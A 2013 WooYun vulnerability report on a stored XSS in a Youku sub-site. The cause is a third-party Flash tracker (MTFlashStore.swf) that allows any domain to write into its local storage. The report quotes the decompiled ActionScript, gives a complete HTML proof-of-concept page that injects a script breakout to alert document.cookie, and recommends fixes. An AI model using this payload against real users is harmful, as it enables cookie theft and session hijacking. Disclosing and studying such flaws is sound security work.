当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-039670

漏洞标题:优酷分站一个存储型XSS漏洞

相关厂商:优酷

漏洞作者: neobyte

提交时间:2013-10-14 11:29

修复时间:2013-10-19 11:30

公开时间:2013-10-19 11:30

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-14: 细节已通知厂商并且等待厂商处理中
2013-10-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

优酷主站一个存储XSS

详细说明:

在访问youku,查看任意带广告的视频时,都会去调用一个MTFlashStore.swf的回调函数jGetItem.
看看这个jGetItem的实现代码:

public function init(){
var ret:* = null;
Security.allowDomain("*");
Security.allowInsecureDomain("*");
var params:* = root.loaderInfo.parameters;
this.jsProxyFunction = params.jsproxyfunction;
try {
this.so = SharedObject.getLocal("mt_adtracker", "/");
} catch(e) {
sendJSError("创建FSO失败,可能用户禁用了Flash本地存储!");
};
......
ExternalInterface.addCallback("jGetItem", function (_arg1, _arg2):void{
ExternalInterface.call(jsProxyFunction, "onecall", _arg2, so.data[_arg1]);
});
......


该Flash未进行Security.allowDomain的限制. 那么任意第三方都可以修改LSO中的数据,而LSO->用户存储->ExternalInterface.call,就导致存储XSS.
访问下面的POC代码,再观看任意带广告的Youku视频,例如:
http://v.youku.com/v_show/id_XNjIwNDI2NDI0.html?f=20383529&ev=1
就会触发XSS.

<html>
<body>
<object id="MTFlashStore" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="http://irs01.net/MTFlashStore.swf">
<param name="allowScriptAccess" value="always">
<param name="flashvars" value="jsproxyfunction=test">
<embed name="MTFlashStore" src="http://irs01.net/MTFlashStore.swf" width="1" height="1" allowscriptaccess="always" flashvars="jsproxyfunction=test" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer">
</object>
<script>
function test(cmd,data){
if(cmd=="load"){
var ua = navigator.userAgent.toLowerCase();
if(ua.match(/msie ([\d.]+)/))document['MTFlashStore'].jSetItem('_iwt_id','\\")));}catch(e){alert(document.cookie);}//','0');
else document['MTFlashStore'].jSetItem('_iwt_id','\\"));alert(document.cookie);}catch(e){}//','0');
}
if(cmd=="onecall"){
alert('ok');
}
if(cmd=="error"){
alert(data);
}
}
</script>
</body>
</html>


注:经过baidu, 了解到这个irs01.net可能是来自艾瑞(iResearch,互联网数据分析),但因为优酷受到影响,故报告到优酷(抱歉打扰了,:-))

漏洞证明:

1. chrome下

youkuchrome.png


2.IE下,顺便看看域名

youkuie.png

修复方案:

建议对来自LSO中的数据进行检查.或者严格限制Security.allowDomain
注意:这里不能简单地修补jGetItem为读取并返回LSO,而不调用ExternalInterface.call, 那样同样会导致XSS.

版权声明:转载请注明来源 neobyte@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-10-19 11:30

厂商回复:

最新状态:

暂无